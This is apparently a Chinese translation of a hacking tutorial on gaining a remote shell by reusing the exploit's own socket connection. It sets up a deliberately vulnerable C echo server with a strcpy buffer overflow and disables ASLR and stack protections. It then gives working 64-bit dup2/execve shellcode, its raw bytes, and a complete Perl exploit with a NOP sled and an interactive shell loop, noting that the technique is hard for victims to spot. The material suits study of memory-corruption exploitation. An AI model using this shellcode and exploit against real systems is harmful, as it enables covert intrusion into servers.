遠程漏洞利用:無需借助套接字的Shellcode
前言
在本文中,我將介紹一種優雅的技術,來獲得一個shell訪問易受攻擊的遠程機器。雖然這個技術不是我發明的,但我發現它的確很有趣,所以本文的重點是這種技術本身,而不是利用漏洞的具體方式。
設置環境
為了專注于遠程shell代碼本身,而不是把精力用在如何規避ASLR、非可執行堆棧等防御措施上面,我們將禁用這些安全功能。一旦熟悉了獲取shellcode的方法,可以重新啟用這些保護措施,以進一步練習如何突破這些安全設置。因此,這是一個非常有趣的練習,如果你想練手的話。
首先,我們將禁用ASLR。為此,可以使用以下命令:
- echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
這些設置都是臨時性質的,在下次重新啟動時會全部還原。如果你想要在不重新啟動機器的情況下立即還原所有設置的話,可以使用如下所示的命令:
- echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
為了禁用其余的安全功能,我們可以使用以下選項來編譯帶有安全漏洞的服務器:
- -fno-stack-protector -z execstack
這些選項會禁用堆棧的canarie保護,并賦予堆棧執行權限。這樣的話,我們就得到了一個非常容易利用的環境。
帶有安全漏洞的服務
現在,讓我們編寫一個帶有緩沖區溢出漏洞的小型回顯服務器,這樣我們就可以遠程利用它了。這個程序很簡單,你能發現代碼中的緩沖區溢出漏洞嗎? 你當然可以。
- #include <stdio.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- int
- process_request (int s1, char *reply)
- {
- char result[256];
- strcpy (result, reply);
- write (s1, result, strlen(result));
- printf ("Result: %p\n", &result);
- return 0;
- }
- int
- main (int argc, char *argv[])
- {
- struct sockaddr_in server, client;
- socklen_t len = sizeof (struct sockaddr_in);
- int s,s1, ops = 1;
- char reply[1024];
- server.sin_addr.s_addr = INADDR_ANY;
- server.sin_family = AF_INET;
- server.sin_port = htons(9000);
- s = socket (PF_INET, SOCK_STREAM, 0);
- if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
- perror ("pb_server (reuseaddr):");
- bind (s, (struct sockaddr *) &server, sizeof (server));
- listen (s, 10);
- while (1)
- {
- s1 = accept (s, (struct sockaddr *)&client, &len);
- printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
- memset (reply, 0, 1024);
- read (s1, reply, 1024);
- process_request (s1, reply);
- close (s1);
- }
- return 0;
- }
很好,下面我們就來編譯它,讓它變成一個最容易利用的服務器:
- gcc -g -fno-stack-protector -z execstack -o target target.c
下面,我們來展示它的脆弱性。在一個終端運行這個帶有安全漏洞的服務器,然后在另一個終端運行下列命令:
- $ perl -e 'print "A"x1024;' | nc localhost 9000
在運行服務器的終端中,我們將會看到如下所示的內容:
- $ ./target
- Connection from 127.0.0.1
- Result: 0x7fffffffdbf0
- Segmentation fault (core dumped)
注意,我已經添加了打印局部變量的地址的語句,從而可以驗證ASLR是否被禁用。每次執行這個二進制代碼的時候,應該總是看到相同的數字(當然,如果你修改了這個程序,數字就會隨之改變)。
現在,我們可以拿這個程序來練手,學習如何使用各種觸手可及的shellcode來獲取一個本地shell。盡管這個練習非常簡單,但是我們建議您至少要練習一次。具體過程本文不作詳細介紹,因為關于緩沖區溢出漏洞利用的教程,在網絡上面數不勝數。
遠程Shell
下面我們介紹如何獲取遠程shell。注意,這里的關鍵在于“遠程”。這意味著在易受攻擊的機器和攻擊者之間,隔著一個網絡。或者換句話說,我們必須通過一些套接字來發送/接收數據。根據這一要求,有兩種方式可以用來獲得遠程shell:
如果你的shellcode創建一個服務器套接字來啟用來自外部的連接請求,并從本地shell發送和接收數據 ...那么,這就是一個直接遠程shell。
如果你的shellcode連接回一個預先指定的主機,并且這個主機上運行的服務器軟件正在等待受害者的連接...那么,這就這是一個反向遠程shell。
關于這兩種遠程shell的詳細信息,請訪問https://0x00sec.org/t/remote-shells-part-i/269。
看到這兩個定義后,你可能會聯想到RHOST/RPORT之類的變量....是的,它們可以用來告訴payload連接的主機地址和相應的端口。對于反向shell來說,您必須將這些信息存放到payload中,以便連接回來。對于直接shell你通常需要定義端口,服務器就會等待連接。
但是,至少對于Unix機器來說,還有第三種選擇。
連接復用
當執行遠程漏洞利用代碼時,為了利用此漏洞,您已經連接到了服務器...所以,為什么不重用這個已經建立好的連接呢?這真是一個不錯的想法,因為它不會顯示任何會引起受害者懷疑的東西,例如來自服務器未知服務的開放端口等。
實現這一點的方法也非常巧妙。它是基于這樣的事實,即系統是按順序分配文件描述符的。知道了這一點,我們就可以在建立連接之后立即復制一個當前文件的描述符,除非服務器的負載很重,否則我們得到的文件描述符等于用于我們連接的套接字的文件描述符+1,這樣很容易就能知道我們的連接的文件描述符了。
一旦知道了當前連接的文件描述符,我們只需要將它復制到文件描述符0、1和2(stdin、stdout和stderr),就可以生成一個shell了。這樣一來,該shell的所有輸入/輸出都會被重定向到我們的套接字了。
還不明白嗎?肯定沒讀過https://0x00sec.org/t/remote-shells-part-i/269頁面上的文章吧?不過沒關系,現在去看也不晚。
相應的C代碼如下所示:
- int sck = dup (0) - 1; // Duplicate stdin
- dup2 (sck, 0);
- dup2 (sck, 1);
- dup2 (sck, 2);
- execv ("/bin/sh", NULL);
看...根本就沒有使用套接字代碼!如果我們把它變成一個shellcode,并且設法利用遠程服務器的漏洞來運行該代碼,我們就能夠獲得一個shell來訪問遠程機器,而這個shell所使用的連接,正好就是原來向遠程服務器投遞利用代碼的那個連接。
當然,也你已經注意到這種技術存在一些缺點。就像我們所提到的那樣,如果服務器比較繁忙的話(同時建立許多連接),這種方法就很難奏效了。此外,正常的服務器會在變成守護進程之前關閉所有的文件描述符,因此我們可能需要嘗試使用其他值來推測文件描述符。
這個技術是前一段時間跟@_py進行討論的時候,由他想出來的。我們當時檢查的原始代碼可以在這里找到:
- http://shell-storm.org/shellcode/files/shellcode-881.php4
但是,這是一個32位代碼,所以我重新制作了對應的64位版本,以及一個運行漏洞利用代碼的Perl腳本。
64位版本的Shellcode
下面的代碼您就將就著看吧(我這才發現自己的匯編技能真是生銹了),不過它確實可以正常運行,并且只比原來的32bits版本長了3個字節。我的64位版本的Shellcode如下所示:
- section .text
- global _start
- _start:
- ;; s = Dup (0) - 1
- xor rax, rax
- push rax
- push rax
- push rax
- pop rsi
- pop rdx
- push rax
- pop rdi
- mov al, 32
- syscall ; DUP (rax=32) rdi = 0 (dup (0))
- dec rax
- push rax
- pop rdi ; mov rdi, rax ; dec rdi
- ;; dup2 (s, 0); dup2(s,1); dup2(s,2)
- loop: mov al, 33
- syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
- inc rsi
- mov rax,rsi
- cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr)
- jne loop
- ;; exec (/bin/sh)
- push rdx ; NULL
- mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh"
- push rdi ; command
- push rsp
- pop rdi
- push rdx ;env
- pop rsi ;args
- mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
- syscall
對于不太容易理解的地方,我已經添加了相應的注釋。同時,你可能也注意到了,代碼里使用了許多的push/pop指令,這是因為一個PUSH/POP指令對占用2個字節,而MOV R1,R2指令則需要占用3個字節。雖然這會代碼變得非常丑,但是卻能節約一些空間...實際上也沒有節約太多的地方,所以也算不上一個好主意。無論如何,您可以隨意改進它,并歡迎在評論中發布您自己的版本。
生成Shellcode
現在,我們需要生成相應的shellcode,同時,其格式必須適合將其發送到遠程服務器才行。為此,我們首先需要編譯代碼,然后從編譯的文件中提取機器代碼。編譯代碼非常簡單,具體如下所示:
- nasm -f elf64 -o rsh.o rsh.asm
當然,從目標文件中獲取二進制數據的方法有很多。我們這里使用的方法是生成具有易于添加到Perl或C程序中的格式的字符串。
- for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
上面的兩個命令將產生以下shellcode:
- \x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05
接下來,我們就需要開始編寫漏洞利用代碼了。
漏洞利用代碼
目前為止,我們已經搭設了一個帶有遠程利用漏洞的系統。同時,也了解了如何在低安全環境中利用緩沖區溢出漏洞,并生成了一個用于在遠程系統上運行的shellcode。現在我們需要一個漏洞利用代碼,把所有這些整合起來,從而獲得我們夢寐以求的遠程shell。
當然,編寫漏洞利用代碼的語言有很多,不過這里選用的是自己最熟悉的Perl。
我們的漏洞利用代碼具體如下所示:
- #!/usr/bin/perl
- use IO::Select;
- use IO::Socket::INET;
- $|=1;
- print "Remote Exploit Example";
- print "by 0x00pf for 0x00sec :)\n\n";
- # You may need to calculate these magic numbers for your system
- $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";
- $off = 264;
- # Generate the payload
- $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
- $nops = $off - length $shellcode;
- $payload = "\x90" x $nops . $shellcode . $addr;
- $plen = length $payload;
- $slen = length $shellcode;
- print "SLED $nops Shellcode: $slen Payload size: $plen\n";
- # Connect
- my $socket = new IO::Socket::INET (
- PeerHost => '127.0.0.1',
- PeerPort => '9000',
- Proto => 'tcp',
- );
- # Set up select for asynchronous read from the server
- $sel = IO::Select->new( $socket );
- $sel->add(\*STDIN);
- # Exploit!
- $socket->send ($payload);
- $socket->recv ($trash,1024);
- $timeout = .1;
- $flag = 1; # Just to show a prompt
- # Interact!
- while (1) {
- if (@ready = $sel->can_read ($timeout)) {
- foreach $fh (@ready) {
- $flag =1;
- if($fh == $socket) {
- $socket->recv ($resp, 1024);
- print $resp;
- }
- else { # It is stdin
- $line = <STDIN>;
- $socket->send ($line);
- }
- }
- }
- else { # Show the prompt whenever everything's been read
- print "0x00pf]> " if ($flag);
- $flag = 0;
- }
- }
漏洞利用代碼的開頭部分幾乎是標準式的。接下來,根據您利用gdb找出的魔法數字來生成payload(請注意,在您的系統中這些數字可能會有所不同,這樣的話,這個漏洞利用代碼,在您的系統中,可能就會無法正常工作)。
然后,我們必須針對自己的遠程shell進行一些額外的工作。使用直接和反向shell時,一旦漏洞利用代碼執行完畢,我們通常需要使用另一個程序/模塊連接到遠程機器,或接收來自遠程機器的連接。為此,可以使用netcat或您喜歡的滲透測試平臺,甚至是自己專門編寫的工具...
但是,就本地而言,我們將使用已建立的連接來訪問shell,這個連接就是之前用來發送payload的那個。所以我添加了一些代碼,用來從stdin讀取命令,并將它們發送到遠程服務器,同時也從遠程shell讀取數據。這些都是些標準的網絡代碼,實在是沒有什么特別之處。
現在,你可以嘗試一下這個可以獲取遠程shell的漏洞利用代碼了!
小結
在本文中,我們討論了一種巧妙地技術,可以隱秘地獲取shell來遠程訪問易受攻擊的服務器,并且不需要跟系統提供的套接字API打交道。這使得shellcode的開發變得更簡單,也使其更簡潔(例如,你可以跟http://shell-storm.org/shellcode/files/shellcode-858.php2提供的代碼比較一番。